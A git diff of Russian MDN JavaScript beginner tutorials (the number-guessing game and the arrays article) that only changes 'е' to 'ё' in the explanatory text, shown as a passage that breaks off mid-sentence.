</ul> <div class="note"> @@ -260,7 +260,7 @@ var resetButton;</code></pre> alert('I am a placeholder'); }</pre> -<p>Функции представляют собой многократно используемые блоки кода, написав один раз вы можете запускать их снова и снова, сохраняя нужный постоянно повторяющийся код. Это действительно полезно. Существует несколько способов определить функцию, но пока мы сосредоточимся на одном простом варианте. Здесь мы определили функцию используя ключевое слово <code>function</code>, за ним идет имя с двумя скобками после него. После этого мы добавляем две фигурные скобки (<code>{ }</code>). Внутри фигурных скобок содержится весь код, запускающийся всякий раз, когда вызываем функцию.</p> +<p>Функции представляют собой многократно используемые блоки кода, написав один раз вы можете запускать их снова и снова, сохраняя нужный постоянно повторяющийся код. Это действительно полезно. Существует несколько способов определить функцию, но пока мы сосредоточимся на одном простом варианте. Здесь мы определили функцию используя ключевое слово <code>function</code>, за ним идёт имя с двумя скобками после него. После этого мы добавляем две фигурные скобки (<code>{ }</code>). Внутри фигурных скобок содержится весь код, запускающийся всякий раз, когда вызываем функцию.</p> <p>Код запускается вводом имени функции, за которым следуют две скобки.</p> @@ -270,7 +270,7 @@ var resetButton;</code></pre> <pre class="brush: js notranslate">checkGuess();</pre> -<p>Вы должны увидеть предупреждение, в котором говорится "I am a placeholder"; в нашем коде мы определили функцию, которая создает предупреждение, когда ее вызывают.</p> +<p>Вы должны увидеть предупреждение, в котором говорится "I am a placeholder"; в нашем коде мы определили функцию, которая создаёт предупреждение, когда её вызывают.</p> <div class="note"> <p><strong>Заметка</strong>: В дальнейшем вы намного больше узнаете о функциях.</p> @@ -278,9 +278,9 @@ var resetButton;</code></pre> <h3 id="Операторы_Operators">Операторы (Operators)</h3> -<p>Операторы JavaScript позволяют нам проводить проверки, математические расчеты, объединять строки вместе и выполнять другие подобные действия.</p> +<p>Операторы JavaScript позволяют нам проводить проверки, математические расчёты, объединять строки вместе и выполнять другие подобные действия.</p> -<p>Сохраните наш код и обновите страницу показанную в браузере. Откройте <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">консоль JavaScript</a>, если вы еще её не открыли, чтобы попробовать ввести текст из приведенных ниже примеров — введите каждую строчку из столбца "Пример", нажимая Enter после каждого из них, и посмотрите какие результаты они возвращают. Если у вас нет доступа к инструментам разработчика в браузере, вы всегда можете использовать простую встроенную консоль, показанную ниже:</p> +<p>Сохраните наш код и обновите страницу показанную в браузере. Откройте <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">консоль JavaScript</a>, если вы ещё её не открыли, чтобы попробовать ввести текст из приведённых ниже примеров — введите каждую строчку из столбца "Пример", нажимая Enter после каждого из них, и посмотрите какие результаты они возвращают. Если у вас нет доступа к инструментам разработчика в браузере, вы всегда можете использовать простую встроенную консоль, показанную ниже:</p> <div class="hidden"> <h6 id="Hidden_code">Hidden code</h6> @@ -435,7 +435,7 @@ hello; var greeting = name + hello; greeting;</pre> -<p>Также есть сокращенные операторы, называемые расширенными операторами присваивания. Например, если вы просто хотите добавить новую строку к существующей и вернуть результат, вы можете сделать так:</p> +<p>Также есть сокращённые операторы, называемые расширенными операторами присваивания. Например, если вы просто хотите добавить новую строку к существующей и вернуть результат, вы можете сделать так:</p> <pre class="brush: js notranslate">name += ' says hello!';</pre> @@ -477,7 +477,7 @@ greeting;</pre> <h3 id="Условные_выражения_Conditionals">Условные выражения (Conditionals)</h3> -<p>Вернемся к нашей функции <code>checkGuess()</code>, я думаю, можно с уверенностью сказать, что мы не хотим, чтобы она просто выводила сообщение заполнитель. Мы хотим, чтобы она проверяла сделал игрок правильный выбор или нет, и соответствующие реагировала.</p> +<p>Вернёмся к нашей функции <code>checkGuess()</code>, я думаю, можно с уверенностью сказать, что мы не хотим, чтобы она просто выводила сообщение заполнитель. Мы хотим, чтобы она проверяла сделал игрок правильный выбор или нет, и соответствующие реагировала.</p> <p>Теперь, заменим вашу текущую функцию<code>checkGuess()</code> на эту версию:</p> @@ -514,16 +514,16 @@ greeting;</pre> <p>Как много кода — фу! Давайте отдельно рассмотрим каждый раздел и объясним, что он делает.</p> <ul> - <li>Первая строка (строка под номером 2 в коде выше) объявляет переменную с именем <code>userGuess</code> и устанавливает ее значение на то, что сейчас введено в текстовое поле. Мы также пропускаем это значение через встроенный метод <code>Number()</code>, чтобы убедится, что значение точно является числом.</li> - <li>Затем мы сталкиваемся с нашим первым блоком условного кода (строки 3–5 в коде выше). Блок условного кода позволяет выборочно запускать код в зависимости от того, является определенное условие истинным или нет. Он немного похож на функцию, но это не так. Простейшая форма условного блока начинается с ключевого слова <code>if</code>, за ним круглые скобки, за ними еще фигурные скобки. В круглые скобки мы добавляем проверку. Если проверка возвращает <code>true</code>, запускается код в фигурных скобках. Если нет, этот код пропускается и мы переходим к следующей части кода. В этом случае проверяется равна ли переменная <code>guessCount</code> числу <code>1</code> (то есть является ли это первой попыткой игрока или нет): + <li>Первая строка (строка под номером 2 в коде выше) объявляет переменную с именем <code>userGuess</code> и устанавливает её значение на то, что сейчас введено в текстовое поле. Мы также пропускаем это значение через встроенный метод <code>Number()</code>, чтобы убедится, что значение точно является числом.</li> + <li>Затем мы сталкиваемся с нашим первым блоком условного кода (строки 3–5 в коде выше). Блок условного кода позволяет выборочно запускать код в зависимости от того, является определённое условие истинным или нет. Он немного похож на функцию, но это не так. Простейшая форма условного блока начинается с ключевого слова <code>if</code>, за ним круглые скобки, за ними ещё фигурные скобки. В круглые скобки мы добавляем проверку. Если проверка возвращает <code>true</code>, запускается код в фигурных скобках. Если нет, этот код пропускается и мы переходим к следующей части кода. В этом случае проверяется равна ли переменная <code>guessCount</code> числу <code>1</code> (то есть является ли это первой попыткой игрока или нет): <pre class="brush: js notranslate">guessCount === 1</pre> Если это так, мы выводим параграф с содержанием "Previous guesses: ". Если нет, ничего не делаем.</li> <li>Строка 6 добавляет текущее значение <code>userGuess</code> в конец параграфа <code>guesses</code>, плюс пустое пространство поэтому между каждыми показанными предположениями будет пробел.</li> <li>Следующий блок (строки 8–24 ) делает несколько проверок: <ul> - <li><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Первая конструкция </span></font>if(){ }</code> проверяет, совпадает ли предположение пользователя с <code>randomNumber</code> установленному в верхней части нашего JavaScript. Если это так, игрок правильно догадался, и игра выиграна, поэтому мы показываем игроку поздравительное сообщение с приятным зеленым цветом, очищаем содержимое окна информации о минимуме / максимуме и запускаем функцию, называемую setGameOver (), которую мы обсудим позже.</li> - <li>Теперь мы добавили еще одну проверку после предыдущей, используя конструкцию else if () {}. Эта конструкция проверяет, является ли этот ход последним ходом пользователя. Если это так, программа выполняет то же самое, что и в предыдущем блоке, но выведет сообщение с текстом GAME OVER.</li> - <li>Последний блок, в конце нашего кода (else {}), содержит код, который запускается только в том случае, если ни один из двух других тестов не возвращает true (т. е. Игрок не догадался правильно, но у него еще остались догадки). В этом случае мы говорим игроку, что он ошибся, затем мы выполняем еще один условный тест, чтобы проверить, было ли предположение больше или меньше ответа, показывая дополнительное сообщение.</li> + <li><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Первая конструкция </span></font>if(){ }</code> проверяет, совпадает ли предположение пользователя с <code>randomNumber</code> установленному в верхней части нашего JavaScript. Если это так, игрок правильно догадался, и игра выиграна, поэтому мы показываем игроку поздравительное сообщение с приятным зелёным цветом, очищаем содержимое окна информации о минимуме / максимуме и запускаем функцию, называемую setGameOver (), которую мы обсудим позже.</li> + <li>Теперь мы добавили ещё одну проверку после предыдущей, используя конструкцию else if () {}. Эта конструкция проверяет, является ли этот ход последним ходом пользователя. Если это так, программа выполняет то же самое, что и в предыдущем блоке, но выведет сообщение с текстом GAME OVER.</li> + <li>Последний блок, в конце нашего кода (else {}), содержит код, который запускается только в том случае, если ни один из двух других тестов не возвращает true (т. е. Игрок не догадался правильно, но у него ещё остались догадки). В этом случае мы говорим игроку, что он ошибся, затем мы выполняем ещё один условный тест, чтобы проверить, было ли предположение больше или меньше ответа, показывая дополнительное сообщение.</li> </ul> </li> <li>Последние три строки в функции (строки 26–28 ) готовят нас к следующей попытке. Мы добавляем 1 к переменной <code>guessCount</code> так как игрок использовал свой ход (<code>++</code> оператор инкремента — увеличивает на 1), очищаем значение текстового поля и фокусируемся на нем снова, готовы для ввода следующего ответа.</li> @@ -531,7 +531,7 @@ greeting;</pre> <h3 id="События_Events">События (Events)</h3> -<p><span id="result_box" lang="ru"><span>На данный момент у нас есть хорошо реализованная функция <code>checkGuess()</code>, но она ничего не сделает, потому что мы еще не вызвали ее.</span> <span>В идеале мы хотим вызывать её во время нажатия кнопки «</span></span> Submit guess <span lang="ru"><span>», и для этого нам нужно использовать событие.</span> <span>События - это действия, которые происходят в браузере, например, нажатие кнопки или загрузка страницы или воспроизведение видео, в ответ на которые мы можем запускать блоки кода.</span> <span>Конструкции, которые прослушивают событие, называются <strong>прослушивателями событий</strong>, а блоки кода, выполняемые в ответ на срабатывание событий, называются <strong>обработчиками событий</strong>.</span></span></p> +<p><span id="result_box" lang="ru"><span>На данный момент у нас есть хорошо реализованная функция <code>checkGuess()</code>, но она ничего не сделает, потому что мы ещё не вызвали ее.</span> <span>В идеале мы хотим вызывать её во время нажатия кнопки «</span></span> Submit guess <span lang="ru"><span>», и для этого нам нужно использовать событие.</span> <span>События - это действия, которые происходят в браузере, например, нажатие кнопки или загрузка страницы или воспроизведение видео, в ответ на которые мы можем запускать блоки кода.</span> <span>Конструкции, которые прослушивают событие, называются <strong>прослушивателями событий</strong>, а блоки кода, выполняемые в ответ на срабатывание событий, называются <strong>обработчиками событий</strong>.</span></span></p> <p><span id="result_box" lang="ru"><span>Добавьте следующую строку ниже закрывающей фигурной скобки функции <code>checkGuess()</code>:</span></span></p> @@ -539,11 +539,11 @@ greeting;</pre> <p><span id="result_box" lang="ru"><span>Здесь мы добавляем обработчик событий к кнопке <code>guessSubmit</code>.</span> <span>Это метод, который принимает два входных значения (называемые аргументами) - тип события, которое мы обработаем (в данном случае <code>click</code>) в виде строки, и код, который мы хотим запустить при возникновении события (в данном случае</span> <span>функция <code>checkGuess()</code> - обратите внимание, что нам не нужно указывать круглые скобки при записи внутри</span></span> {{domxref("EventTarget.addEventListener", "addEventListener()")}}).</p> -<p><span id="result_box" lang="ru"><span>Попробуйте сохранить и обновить код сейчас, и ваш пример должен теперь работать, но до определенного момента.</span> <span>Единственная проблема в том, что если вы угадаете правильный ответ или исчерпаете догадки, игра сломается, потому что мы еще не определили функцию <code>setGameOver()</code>, которая должна запускаться после завершения игры.</span> <span>Давайте добавим наш недостающий код и завершим пример функциональности.</span></span></p> +<p><span id="result_box" lang="ru"><span>Попробуйте сохранить и обновить код сейчас, и ваш пример должен теперь работать, но до определённого момента.</span> <span>Единственная проблема в том, что если вы угадаете правильный ответ или исчерпаете догадки, игра сломается, потому что мы ещё не определили функцию <code>setGameOver()</code>, которая должна запускаться после завершения игры.</span> <span>Давайте добавим наш недостающий код и завершим пример функциональности.</span></span></p> <h3 id="Завершение_игры">Завершение игры</h3> -<p><span id="result_box" lang="ru"><span>Давайте добавим функцию <code>setGameOver()</code> в конец нашего кода, а затем пройдем по ней.</span> <span>Добавьте это под нижней частью вашего JavaScript:</span></span></p> +<p><span id="result_box" lang="ru"><span>Давайте добавим функцию <code>setGameOver()</code> в конец нашего кода, а затем пройдём по ней.</span> <span>Добавьте это под нижней частью вашего JavaScript:</span></span></p> <pre class="brush: js notranslate">function setGameOver() { guessField.disabled = true; @@ -555,9 +555,9 @@ greeting;</pre> }</pre> <ul> - <li><span id="result_box" lang="ru"><span>Первые две строки отключают ввод текста и кнопку формы, устанавливая их отключенные свойства как <code>true</code>.</span> <span>Это необходимо, потому что, если бы мы этого не сделали, пользователь мог бы представить больше догадок после завершения игры, что испортит ситуацию.</span></span></li> - <li><span id="result_box" lang="ru"><span>Следующие три строки генерируют новый элемент {{htmlelement("button")}}, устанавливают его текстовую метку «</span></span> Start new game<span lang="ru"><span>» и добавляют ее к нижней части нашего HTML.</span></span></li> - <li><span id="result_box" lang="ru"><span>Последняя строка устанавливает обработчик событий на нашей новой кнопке, так что при нажатии на нее запускается функция <code>resetGame()</code>.</span></span></li> + <li><span id="result_box" lang="ru"><span>Первые две строки отключают ввод текста и кнопку формы, устанавливая их отключённые свойства как <code>true</code>.</span> <span>Это необходимо, потому что, если бы мы этого не сделали, пользователь мог бы представить больше догадок после завершения игры, что испортит ситуацию.</span></span></li> + <li><span id="result_box" lang="ru"><span>Следующие три строки генерируют новый элемент {{htmlelement("button")}}, устанавливают его текстовую метку «</span></span> Start new game<span lang="ru"><span>» и добавляют её к нижней части нашего HTML.</span></span></li> + <li><span id="result_box" lang="ru"><span>Последняя строка устанавливает обработчик событий на нашей новой кнопке, так что при нажатии на неё запускается функция <code>resetGame()</code>.</span></span></li> </ul> <p><span id="result_box" lang="ru"><span>Теперь нам нужно также определить эту функцию!</span> <span>Добавьте следующий код, снова в нижнюю часть вашего JavaScript:</span></span></p> @@ -582,7 +582,7 @@ greeting;</pre> randomNumber = Math.floor(Math.random() * 100) + 1; }</pre> -<p><span id="result_box" lang="ru"><span>Этот довольно длинный блок кода полностью сбрасывает все на то, как это было в начале игры, поэтому у игрока может быть еще один ход.</span> <span>Это:</span></span></p> +<p><span id="result_box" lang="ru"><span>Этот довольно длинный блок кода полностью сбрасывает все на то, как это было в начале игры, поэтому у игрока может быть ещё один ход.</span> <span>Это:</span></span></p> <ul> <li>Устанавливает значение <code>guessCount</code> на 1.</li> @@ -590,7 +590,7 @@ greeting;</pre> <li><span class="short_text" id="result_box" lang="ru"><span>Удаляет кнопку сброса из нашего кода.</span></span></li> <li>Включает элементы формы, устанавливает фокус, делает поле доступным для следующих угадываний.</li> <li><span class="short_text" id="result_box" lang="ru"><span>Удаляет цвет фона из абзаца <code>lastResult</code>.</span></span></li> - <li><span id="result_box" lang="ru"><span>Создает новое случайное число, чтобы вы не угадывали одно и тоже!</span></span></li> + <li><span id="result_box" lang="ru"><span>Создаёт новое случайное число, чтобы вы не угадывали одно и тоже!</span></span></li> </ul> <p><strong><span id="result_box" lang="ru"><span>С этого момента у вас есть </span></span><span id="result_box" lang="ru"><span>полностью работающая (простая) игра - поздравляем!</span></span></strong> <span lang="ru"><span> </span></span></p> @@ -601,7 +601,7 @@ greeting;</pre> <div class="_Ejb"> <div id="tw-target"> -<div class="tw-nfl tw-compact-ta-container" id="tw-target-text-container">Одна часть вышеприведенного кода, которую мы должны рассмотреть более подробно, - это цикл for. Циклы - очень важная концепция программирования, которая позволяет вам снова и снова запускать кусок кода, пока не будет выполнено определенное условие.</div> +<div class="tw-nfl tw-compact-ta-container" id="tw-target-text-container">Одна часть вышеприведённого кода, которую мы должны рассмотреть более подробно, - это цикл for. Циклы - очень важная концепция программирования, которая позволяет вам снова и снова запускать кусок кода, пока не будет выполнено определённое условие.</div> <div class="tw-nfl tw-compact-ta-container">Для начала перейдите в панель инструментов разработчика JavaScript-консоли и введите следующее:</div> </div> @@ -610,7 +610,7 @@ greeting;</pre> <pre class="brush: js notranslate">for (var i = 1 ; i < 21 ; i++) { console.log(i) }</pre> <p><span lang="ru">Что случилось? Номера с 1 по 20 были напечатаны в консоли. Это из-за цикла. Цикл for принимает три входных значения (аргументы):</span><br> - <span lang="ru">Начальное значение: в этом случае мы начинаем подсчет c 1, но это может быть любое число которое вам нравится. Вы можете заменить i любым другим именем, которое вам нравится, но я использую его как условность, потому что оно короткое и легко запоминается. Условие выхода: Здесь мы указали i <21 - цикл будет продолжаться до тех пор, пока i будет меньше 21. Когда i достигнет 21, цикл больше не будет работать. Инкремент: мы указали i ++, что означает «увеличить i на 1». Цикл будет выполняться один раз для каждого значения i, пока оно не достигнет значения 21 (как обсуждалось выше). В этом случае мы просто печатаем значение i в консоли на каждой итерации с помощью {{domxref ("Console.log", "console.log ()")}}.</span></p> + <span lang="ru">Начальное значение: в этом случае мы начинаем подсчёт c 1, но это может быть любое число которое вам нравится. Вы можете заменить i любым другим именем, которое вам нравится, но я использую его как условность, потому что оно короткое и легко запоминается. Условие выхода: Здесь мы указали i <21 - цикл будет продолжаться до тех пор, пока i будет меньше 21. Когда i достигнет 21, цикл больше не будет работать. Инкремент: мы указали i ++, что означает «увеличить i на 1». Цикл будет выполняться один раз для каждого значения i, пока оно не достигнет значения 21 (как обсуждалось выше). В этом случае мы просто печатаем значение i в консоли на каждой итерации с помощью {{domxref ("Console.log", "console.log ()")}}.</span></p> <p><span lang="ru">Теперь давайте посмотрим на цикл в нашей игре угадывания чисел - в функции resetGame () можно найти следующее:</span></p> @@ -619,15 +619,15 @@ for (var i = 0 ; i < resetParas.length ; i++) { resetParas[i].textContent = ''; }</pre> -<p><span lang="ru">Этот код создает переменную, содержащую список всех абзацев внутри <div class = "resultParas">, используя метод {{domxref ("Document.querySelectorAll", "querySelectorAll ()")}}, затем он проходит через каждый из них, удаляя текстовое содержимое каждого из них.</span></p> +<p><span lang="ru">Этот код создаёт переменную, содержащую список всех абзацев внутри <div class = "resultParas">, используя метод {{domxref ("Document.querySelectorAll", "querySelectorAll ()")}}, затем он проходит через каждый из них, удаляя текстовое содержимое каждого из них.</span></p> <h3 id="Немного_об_объектах_Objects">Немного об объектах (Objects)</h3> -<p>Давайте добавим еще одно окончательное улучшение, прежде чем перейти к обсуждению. Добавьте следующую строку чуть ниже <code>var resetButton;</code> в верхней части вашего JavaScript, затем сохраните файл:</p> +<p>Давайте добавим ещё одно окончательное улучшение, прежде чем перейти к обсуждению. Добавьте следующую строку чуть ниже <code>var resetButton;</code> в верхней части вашего JavaScript, затем сохраните файл:</p> <pre class="brush: js notranslate">guessField.focus();</pre> -<p>Эта строка использует метод {{domxref("HTMLElement.focus", "focus()")}}, чтобы автоматически помещать текстовый курсор в текстовое поле {{htmlelement("input")}}, как только загрузится страница. Пользователь сможет сразу набрать свою первую догадку, не нажимая поле формы. Это всего лишь небольшое дополнение, но оно улучшает удобство использования - дает пользователю хорошую визуальную подсказку относительно того, что они должны делать в игре.</p> +<p>Эта строка использует метод {{domxref("HTMLElement.focus", "focus()")}}, чтобы автоматически помещать текстовый курсор в текстовое поле {{htmlelement("input")}}, как только загрузится страница. Пользователь сможет сразу набрать свою первую догадку, не нажимая поле формы. Это всего лишь небольшое дополнение, но оно улучшает удобство использования - даёт пользователю хорошую визуальную подсказку относительно того, что они должны делать в игре.</p> <p>Давайте проанализируем, что произошло. В JavaScript все элементы являются объектами. Объект - это набор связанных функций, хранящихся в одной группе<em>. </em>Вы можете создавать собственные объекты, но это требует мастерства, и мы не хотели бы раскрывать эту тему в рамках данного курса. Будет достаточно обсудить встроенные объекты вашего браузера, которые позволяют реализовывать множество полезных вещей.</p> @@ -653,11 +653,11 @@ for (var i = 0 ; i < resetParas.length ; i++) { <li>Введите <code>guessField</code> и консоль покажет, что переменная содержит элемент {{htmlelement("input")}}. Вы также можете заметить, что консоль автоматически заполняет имена объектов, которые существуют внутри исполняющей среды, включая ваши переменные!</li> <li>Теперь введите следующее: <pre class="brush: js notranslate">guessField.value = 'Hello';</pre> - Свойство <code>value</code> представляет текущее значение, введенное в текстовое поле. Заметьте, что, введя эту команду, мы изменили его!</li> + Свойство <code>value</code> представляет текущее значение, введённое в текстовое поле. Заметьте, что, введя эту команду, мы изменили его!</li> <li>Попробуйте ввести <code>guesses</code> и нажать return. Консоль покажет, что в переменной содержится элемент {{htmlelement("p")}}.</li> <li>Теперь попробуйте ввести: <pre class="brush: js notranslate">guesses.value</pre> - Браузер вернет вам <code>undefined</code>, потому что <code>value</code> не существует в параграфах.</li> + Браузер вернёт вам <code>undefined</code>, потому что <code>value</code> не существует в параграфах.</li> <li>Для изменения текста внутри параграфа, взамен используйте свойство {{domxref("Node.textContent", "textContent")}}. Попробуйте: <pre class="brush: js notranslate">guesses.textContent = 'Where is my paragraph?';</pre> </li> diff --git a/files/ru/learn/javascript/first_steps/arrays/index.html b/files/ru/learn/javascript/first_steps/arrays/index.html index 040525b791..81745d52f6 100644 --- a/files/ru/learn/javascript/first_steps/arrays/index.html +++ b/files/ru/learn/javascript/first_steps/arrays/index.html @@ -17,7 +17,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Arrays <div>{{PreviousMenuNext("Learn/JavaScript/Первые_шаги/Useful_string_methods", "Learn/JavaScript/Первые_шаги/Создатель_глупых_историй", "Learn/JavaScript/Первые_шаги")}}</div> -<p class="summary">В финальной статье этого раздела, мы познакомимся с массивами — лаконичным способом хранения списка элементов под одним именем. Мы поймем, чем они полезны, затем узнаем, как создать массив, получить, добавить и удалить элементы, хранящиеся в массиве.</p> +<p class="summary">В финальной статье этого раздела, мы познакомимся с массивами — лаконичным способом хранения списка элементов под одним именем. Мы поймём, чем они полезны, затем узнаем, как создать массив, получить, добавить и удалить элементы, хранящиеся в массиве.</p> <table class="learn-box standard-table"> <tbody> @@ -34,9 +34,9 @@ original_slug: Learn/JavaScript/Первые_шаги/Arrays <h2 id="Что_такое_массив">Что такое массив?</h2> -<p>Массивы обычно описываются как «объекты, подобные спискам»; они представляют собой в основном отдельные объекты, которые содержат несколько значений, хранящихся в списке. Объекты массива могут храниться в переменных и обрабатываться во многом так же, как и любой другой тип значения, причем разница заключается в том, что мы можем получить доступ к каждому значению внутри списка отдельно и делать супер полезные и эффективные вещи со списком, а также делать то же самое для каждого из значений. Представим, что у нас есть список продуктов и их цены, хранящиеся в массиве, и мы хотим их просмотреть и распечатать на счете-фактуре, общая сумма всех цен и распечатка общей цены внизу.</p> +<p>Массивы обычно описываются как «объекты, подобные спискам»; они представляют собой в основном отдельные объекты, которые содержат несколько значений, хранящихся в списке. Объекты массива могут храниться в переменных и обрабатываться во многом так же, как и любой другой тип значения, причём разница заключается в том, что мы можем получить доступ к каждому значению внутри списка отдельно и делать супер полезные и эффективные вещи со списком, а также делать то же самое для каждого из значений. Представим, что у нас есть список продуктов и их цены, хранящиеся в массиве, и мы хотим их просмотреть и распечатать на счёте-фактуре, общая сумма всех цен и распечатка общей цены внизу.</p> -<p>Если бы у нас не было массивов, мы должны были бы хранить каждый элемент в отдельной переменной, а затем вызывать код, выполняющий печать и добавляющий отдельно каждый элемент. Написание такого кода займет намного больше времени, сам код будет менее эффективным и подверженным ошибкам. Если бы у нас было 10 элементов для добавления в счет-фактуру, это еще куда ни шло, но как насчет 100 предметов? Или 1000? Мы вернемся к этому примеру позже в статье.</p> +<p>Если бы у нас не было массивов, мы должны были бы хранить каждый элемент в отдельной переменной, а затем вызывать код, выполняющий печать и добавляющий отдельно каждый элемент. Написание такого кода займёт намного больше времени, сам код будет менее эффективным и подверженным ошибкам. Если бы у нас было 10 элементов для добавления в счёт-фактуру, это ещё куда ни шло, но как насчёт 100 предметов? Или 1000? Мы вернёмся к этому примеру позже в статье.</p> <p><span id="result_box" lang="ru"><span>Как и в предыдущих статьях, давайте узнаем о реальных основах массивов, введя некоторые примеры в консоль JavaScript.</span> <span>Мы предоставили один ниже (вы также можете</span></span> <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">open this console</a> в отдельном окне, или использовать <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer console</a>, если вам угодно).</p> @@ -250,7 +250,7 @@ dogNames.toString(); //Rocket,Flash,Bella,Slugger</pre> <h3 id="Добавление_и_удаление_элементов_массива">Добавление и удаление элементов массива</h3> -<p>Мы еще не рассмотрели добавление и удаление элементов массива - давайте посмотрим на это сейчас. Мы будем использовать массив <code>myArray</code> , с которым мы столкнулись в предыдущем разделе. Если вы еще не прошли этот раздел, сначала создайте массив в консоли:</p> +<p>Мы ещё не рассмотрели добавление и удаление элементов массива - давайте посмотрим на это сейчас. Мы будем использовать массив <code>myArray</code> , с которым мы столкнулись в предыдущем разделе. Если вы ещё не прошли этот раздел, сначала создайте массив в консоли:</p> <pre class="brush: js">var myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carlisle'];</pre> @@ -297,15 +297,15 @@ removedItem;</pre> <h2 id="Практика_Печать_продуктов!">Практика: Печать продуктов!</h2> -<p>Вернемся к описанному выше примеру - распечатываем названия продуктов и цен на счет-фактуру, затем суммируем цены и печатаем их внизу. В приведенном ниже редактируемом примере есть комментарии, содержащие числа - каждая из этих отметок является местом, где вы должны добавить что-то в код. Они заключаются в следующем:</p> +<p>Вернёмся к описанному выше примеру - распечатываем названия продуктов и цен на счёт-фактуру, затем суммируем цены и печатаем их внизу. В приведённом ниже редактируемом примере есть комментарии, содержащие числа - каждая из этих отметок является местом, где вы должны добавить что-то в код. Они заключаются в следующем:</p> <ol> - <li>Ниже комментария <code>// number 1</code> имеется ряд строк, каждая из которых содержит название продукта и цену, разделенные двоеточием. Нужно превратить их в массив и сохранить его под названием <code>products</code>.</li> - <li>На строке с комментарием <code>// number 2</code> начинается цикл for. В строке цикла имеется<code> i <= 0</code>, что является условием , которое заставляет цикл for выполняться только один раз, так как это значение i сообщает циклу: «останавливаться, когда <code>i</code> меньше или равен 0», при этом <code>i</code> начинается с 0. Нужно заменить <code>i <= 0</code> условным тестом, который останавливает цикл, когда <code>i</code> перестает быть меньше длины массива <code>products</code> .</li> - <li>Под комментарием <code>// number 3</code> мы хотим, чтобы вы написали строку кода, которая разбивает текущий элемент массива (<code>name:price</code>) на два отдельных элемента: один содержит только имя, а другой - содержащее только цену. Если не знаете, как это сделать, еще раз просмотрите статью <a href="/ru/docs/Learn/JavaScript/Первые_шаги/Useful_string_methods">Полезные строковые методы</a>, а лучше, посмотрите раздел {{anch("Преобразование между строками и массивами")}} этой статьи.</li> - <li>В рамках приведенной выше строки нужно преобразовать цену из строки в число. Если не помните, как это сделать, ознакомьтесь со статьей <a href="/ru/docs/Learn/JavaScript/Первые_шаги/Строки">строки в JavaScript</a>.</li> - <li>В верхней части кода есть переменная с именем <code>total</code> , которая содержит значение <code>0</code>. Внутри цикла (под комментарием <code>// number 4</code>) нужно добавить строку, которая добавляет текущую цену товара к этой сумме на каждой итерации цикла, так чтобы в конце кода была выведена корректная сумма в счет-фактуре. Для этого вам может понадобится <a href="/ru/docs/Learn/JavaScript/Первые_шаги/Math#Операторы_присваивания">оператор присваивания</a>.</li> - <li>Под комментарием <code>// number 5</code> нужно изменить строку так, чтобы переменная <code>itemText</code> была равна "current item name — $current item price", например "Shoes — $23.99" для каждого случая, чтобы корректная информация для каждого элемента была напечатана в счете-фактуре. Здесь обычная конкатенация строк, которая должна быть вам знакома.</li> + <li>Ниже комментария <code>// number 1</code> имеется ряд строк, каждая из которых содержит название продукта и цену, разделённые двоеточием. Нужно превратить их в массив и сохранить его под названием <code>products</code>.</li> + <li>На строке с комментарием <code>// number 2</code> начинается цикл for. В строке цикла имеется<code> i <= 0</code>, что является условием , которое заставляет цикл for выполняться только один раз, так как это значение i сообщает циклу: «останавливаться, когда <code>i</code> меньше или равен 0», при этом <code>i</code> начинается с 0. Нужно заменить <code>i <= 0</code> условным тестом, который останавливает цикл, когда <code>i</code> перестаёт быть меньше длины массива <code>products</code> .</li> + <li>Под комментарием <code>// number 3</code> мы хотим, чтобы вы написали строку кода, которая разбивает текущий элемент массива (<code>name:price</code>) на два отдельных элемента: один содержит только имя, а другой - содержащее только цену. Если не знаете, как это сделать, ещё раз просмотрите статью <a href="/ru/docs/Learn/JavaScript/Первые_шаги/Useful_string_methods">Полезные строковые методы</a>, а лучше, посмотрите раздел {{anch("Преобразование между строками и массивами")}} этой статьи.</li> + <li>В рамках приведённой выше строки нужно преобразовать цену из строки в число. Если не помните, как это сделать, ознакомьтесь со статьёй <a href="/ru/docs/Learn/JavaScript/Первые_шаги/Строки">строки в JavaScript</a>.</li> + <li>В верхней части кода есть переменная с именем <code>total</code> , которая содержит значение <code>0</code>. Внутри цикла (под комментарием <code>// number 4</code>) нужно добавить строку, которая добавляет текущую цену товара к этой сумме на каждой итерации цикла, так чтобы в конце кода была выведена корректная сумма в счёт-фактуре. Для этого вам может понадобится <a href="/ru/docs/Learn/JavaScript/Первые_шаги/Math#Операторы_присваивания">оператор присваивания</a>.</li> + <li>Под комментарием <code>// number 5</code> нужно изменить строку так, чтобы переменная <code>itemText</code> была равна "current item name — $current item price", например "Shoes — $23.99" для каждого случая, чтобы корректная информация для каждого элемента была напечатана в счёте-фактуре. Здесь обычная конкатенация строк, которая должна быть вам знакома.</li> </ol> <div class="hidden"> @@ -468,18 +468,18 @@ body { <h2 id="Практика_Топ_5_поисковых_запросов">Практика: Топ 5 поисковых запросов</h2> -<p>Хорошим тоном, является использование методов массива, таких как {{jsxref ("Array.prototype.push ()", "push ()")}} и {{jsxref ("Array.prototype.pop ()", "pop ()") }} - это когда вы ведете запись активных элементов в веб-приложении. Например, в анимированной сцене может быть массив объектов, представляющих текущую отображаемую фоновую графику и вам может потребоваться только 50 одновременных отображений по причинам производительности или беспорядка. Когда новые объекты создаются и добавляются в массив, более старые могут быть удалены из массива для поддержания нужного числа.</p> +<p>Хорошим тоном, является использование методов массива, таких как {{jsxref ("Array.prototype.push ()", "push ()")}} и {{jsxref ("Array.prototype.pop ()", "pop ()") }} - это когда вы ведёте запись активных элементов в веб-приложении. Например, в анимированной сцене может быть массив объектов, представляющих текущую отображаемую фоновую графику и вам может потребоваться только 50 одновременных отображений по причинам производительности или беспорядка. Когда новые объекты создаются и добавляются в массив, более старые могут быть удалены из массива для поддержания нужного числа.</p> -<p>В этом примере мы собираемся показать гораздо более простое использование - ниже мы даем вам поддельный поисковый сайт с полем поиска. Идея заключается в том, что когда в поле поиска вводятся запросы, в списке отображаются 5 предыдущих поисковых запросов. Когда число терминов превышает 5, последний член начинает удаляться каждый раз, когда новый член добавляется в начало, поэтому всегда отображаются 5 предыдущих терминов.</p> +<p>В этом примере мы собираемся показать гораздо более простое использование - ниже мы даём вам 